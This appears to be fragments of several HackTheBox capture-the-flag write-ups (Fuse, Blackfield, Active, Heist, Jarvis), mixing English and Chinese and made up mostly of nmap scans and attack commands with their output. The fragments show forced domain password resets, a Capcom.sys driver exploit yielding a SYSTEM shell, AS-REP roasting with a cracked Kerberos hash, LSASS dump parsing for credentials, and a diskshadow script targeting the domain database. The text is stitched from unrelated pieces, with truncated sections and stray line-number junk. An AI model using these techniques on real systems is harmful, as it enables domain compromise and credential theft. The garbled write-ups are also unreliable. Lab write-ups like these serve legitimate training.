# Nmap 7.80 scan initiated Wed Sep 2 03:57:19 2020 as: nmap -Pn -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49675,49676,49680,49698 -oN nmap/Full_10.10.10.193.nmap 10.10.10.193 Nmap scan report for 10.10.10.193 Host is up (0.0079s latency).
PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-02 08:10:26Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49676/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=9/2%Time=5F4F506B%P=x86_64-pc-linux-gnu%r(DNSVe SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x SF:04bind\0\0\x10\0\x03"); Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h33m00s, deviation: 4h02m32s, median: 12m58s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Fuse | NetBIOS computer name: FUSE\x00 | Domain name: fabricorp.local | Forest name: fabricorp.local | FQDN: Fuse.fabricorp.local |_ System time: 2020-09-02T01:12:45-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-09-02T08:12:42 |_ start_date: 2020-09-02T08:04:25 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 2 04:01:52 2020 -- 1 IP address (1 host up) scanned in 273.40 seconds
After some google,find out I can use smbpasswd to change the password
There seems some password policy, so I change the password to Fabricop011 for both accout
┌──(root💀kali)-[~/Desktop/hackthebox/Windows/fuse] └─# smbpasswd -r 10.10.10.193 -U tlavel Old SMB password: New SMB password: Retype new SMB password: Password changed for user tlavel on 10.10.10.193.
After some enumeration on rpcclient and password $fab@s3Rv1ce$1
*Evil-WinRM* PS C:\Users\svc-print\Documents> dir *Evil-WinRM* PS C:\Users\svc-print\Documents> cd .. *Evil-WinRM* PS C:\Users\svc-print> dir
Directory: C:\Users\svc-print
Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 6/1/2020 1:45 AM Desktop d-r--- 5/31/2020 5:20 PM Documents d-r--- 7/16/2016 6:18 AM Downloads d-r--- 7/16/2016 6:18 AM Favorites d-r--- 7/16/2016 6:18 AM Links d-r--- 7/16/2016 6:18 AM Music d-r--- 7/16/2016 6:18 AM Pictures d----- 7/16/2016 6:18 AM Saved Games d-r--- 7/16/2016 6:18 AM Videos
*Evil-WinRM* PS C:\Users\svc-print> cd Desktop *Evil-WinRM* PS C:\Users\svc-print\Desktop> dir
Directory: C:\Users\svc-print\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 9/7/2020 12:35 AM 34 user.txt
Root
After getting root, check user’s privilege
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ================================================================== SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\temp> .\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\capcom.sys [+] Enabling SeLoadDriverPrivilege [+] SeLoadDriverPrivilege Enabled [+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService NTSTATUS: c000010e, WinError: 0 *Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe [*] Capcom.sys exploit [*] Capcom.sys handle was obtained as 0000000000000080 [*] Shellcode was placed at 000002841CC20008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched [*] Press any key to exit this program
And we got the meterpreter session on our multi handler
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 20:09 +08 Nmap scan report for 10.10.10.192 Host is up (0.0074s latency).
PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-07 19:09:38Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp filtered netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.59 seconds
Launch smbmap login using anonymous account, found 2 files we can read
┌──(root💀kali)-[/opt/nmapAutomator] └─# smbmap -H 10.10.10.192 -u anonymous 2 ⨯ [+] Guest session IP: 10.10.10.192:445 Name: 10.10.10.192 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share profiles$ READ ONLY SYSVOL NO ACCESS Logon server share
Access to profiles$
We found tons of user name, use along with awk command we collect the usernames
smbclient \\\\10.10.10.192\\profiles$ -c ls | awk '{print $1}' > user.lst
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:d3f58a3eb5d36dc74f2c4a4335a5ce3e$06ce4ccf78e620d6e2e9994bd546f519cabec98dd1879365456bcee2081d7f0579d8e6b20d7b0e5750c533de72b48404ad38bf2241acc01cdf9e1868717cb01142ab131ebda7de2a0916a141ba5b1fd1b8e0895833ea57ce4b01cd93900eba7c4bab1e1a8dfcdb471486fedc1f731b5e65f38219e37883274350288d916e18f43359a170dd9aa3ef22d53c399378ed3467467211d6be448ee73983abe6cf7998725bfa70b7de45969715c15417af5249ebe9dd16332222f17101bbb1bdbfc2d32ac2bc319302911973a88a2b67fd425092e0f31329d04fd9eca106a97f2265185f6ae6c8ca8e747272dcad410bfbedac0275ed12 [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set [-] invalid principal syntax
Save the hash and use john to crack it.
We got the creds support:#00^BlackKnight
┌──(root💀kali)-[~/Desktop/hackthebox/Windows/blackfield] └─# john --wordlist=/usr/share/wordlists/rockyou.txt user_hash Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status #00^BlackKnight ($krb5asrep$23$support@BLACKFIELD.LOCAL) 1g 0:00:00:16 DONE (2020-09-07 21:30) 0.06203g/s 889266p/s 889266c/s 889266C/s #1ByNature..#*burberry#*1990 Use the "--show" option to display all of the cracked passwords reliably Session completed
Try login using winrm port, but it failed.
Let’s go back to use new credentials to smb server
┌──(root💀kali)-[~/Desktop/hackthebox/Windows/blackfield] └─# smbmap -H 10.10.10.192 -u support -p "#00^BlackKnight" 2 ⨯ [+] IP: 10.10.10.192:445 Name: BLACKFIELD.local Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
Make a change to user audit2020 password to Ikonw123!
rpcclient $> setuserinfo2 Usage: setuserinfo2 username level password [password_expired] result was NT_STATUS_INVALID_PARAMETER rpcclient $> setuserinfo2 audit2020 23 Ikonw123!
Sadly, we still not able login using winrm but we can access audit2020‘s smb share again.
yeah smb share againnnn.
This time round, forensic folder is available to us
┌──(root💀kali)-[/opt/nmapAutomator/10.10.10.192/nmap] └─# smbmap -H 10.10.10.192 -u audit2020 -p Ikonw123! [+] IP: 10.10.10.192:445 Name: BLACKFIELD.local Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic READ ONLY Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
┌──(root💀kali)-[/opt/nmapAutomator/10.10.10.192/nmap] └─# smbclient \\\\10.10.10.192\\forensic -U audit2020 Enter WORKGROUP\audit2020's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 23 21:03:16 2020 .. D 0 Sun Feb 23 21:03:16 2020 commands_output D 0 Mon Feb 24 02:14:37 2020 memory_analysis D 0 Fri May 29 04:28:33 2020 tools D 0 Sun Feb 23 21:39:08 2020
7846143 blocks of size 4096. 3978511 blocks available smb: \>
Alright, it seems tons of files. Download the folder to local (If your internet connection is slow, you might also consider just mount the smb directory to local)
recurseON promptOFF mget *
A DMP file is a file that contains data “dumped” from a program’s memory space. It is often created when a program has an error or crashes and may also be saved by the program “Savedump.exe” on the first reboot after a crash. DMP files are usually named “Memory.dmp.”
pypykatz has the ability to parse the secrets hidden in the LSASS process, it is just something like mimikatz’s sekurlsa::
pypykatz lsa minidump lsass.DMP
and we actually got the password hash for user svc_backup
After checking the user’s privileges, found out that SeBackupPrivilege is enabled.
SeBackupPrivilege Description: This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file.
Firstly, I tried the vssadmin, well I don’t have the privilege
Error: You don't have the correct permissions to run this command. Please run this utility from a command window that has elevated administrator privileges.
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT, for ex. with: “wbadmin.exe” or “diskshadow.exe
As I read carefully, found out that diskshadow allow us to create a new shadow disk copy of the disk C and expose it as another driver
shadow_copy.txt
set context persistent nowriters add volume c: alias ikonw create expose %ikonw% z:
However it has error
-> set context persistent nowriter <<--- shudnt it be nowriters?
CLIENTACCESSIBLE Specify tocreate shadow copies usable by client versions of Windows. PERSISTENT Specify that shadow copyis persist across program exit, resetor reboot. PERSISTENT NOWRITERS Specify that shadow copyis persistent andall writers are excluded. VOLATILE Specify that shadow copy will be deleted onexitorreset. VOLATILE NOWRITERS Specify that shadow copyisvolatileandall writers are excluded.
Example: SET CONTEXT CLIENTACCESSIBLE
Add extra character behind
set context persistent nowriterss add volume c: alias ikonww createe expose %ikonw% z::
However one more error!!
The .cab metadata file cannot be stored inthe current working directory, because it is read-only.
ermmm, maybe I am in the document directory
create a temp folder at C:\temp
Finally, we successfully create the shadow disk at Z: drive
*Evil-WinRM* PS C:\temp> diskshadow /s shadow_copy.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 9/8/2020 5:40:45 AM
-> set context persistent nowriters -> add volume c: alias ikonw -> create Alias ikonw for shadow ID {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81} set as environment variable.
Querying all shadow copies with the shadow copy set ID {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81}
* Shadow copy ID = {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} %ikonw% - Shadow copy set: {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\] - Creation time: 9/8/2020 5:40:45 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %ikonw% z: -> %ikonw% = {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} The shadow copy was successfully exposed as z:\. ->
The z: drive shadow folder permission also inherited from the C:, we dont have the permission to download the files.
If you want to read/copy data out of a “normally forbidden” folder, you have to act as a backup software. The shell copy command won’t work; you’ll need to open the source file manually using CreateFile making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.
StartingNmap7.80 ( https://nmap.org ) at 2020-02-10 18:56 +08 Nmap scan report for 10.10.10.100 Host is up (0.23s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-1010:57:27Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49169/tcp open msrpc Microsoft Windows RPC 49171/tcp open msrpc Microsoft Windows RPC 49182/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 194.25 seconds
nmap -sV -sC heist.htb 1 Nmap scan report for heist.htb (10.10.10.149) Host is up (0.25s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 4s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-01-25T01:23:05 |_ start_date: N/A 1234567891011121314151617181920212223242526
二，HTTP Enumeration
进入web, 是个登陆页面。 并没有找到CMS, 右下角有个 Login as guest 发现这是个 类似于 Support desk 的平台。 点击 Attachment 跳转到 config.txt
version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh 1234567891011121314151617181920212223242526272829303132333435363738394041
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 11:48 +08 Nmap scan report for jarvis.htb (10.10.10.143) Host is up (0.33s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 123456789101112131415161718
二，HTTP Enumeration
第一个习惯就是先把gobuster 上起来
gobuster dir -w directory-list-2.3-medium.txt -u 10.10.10.143 -t 50 1
MatchingDefaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
发现 systemctl 比较可疑。
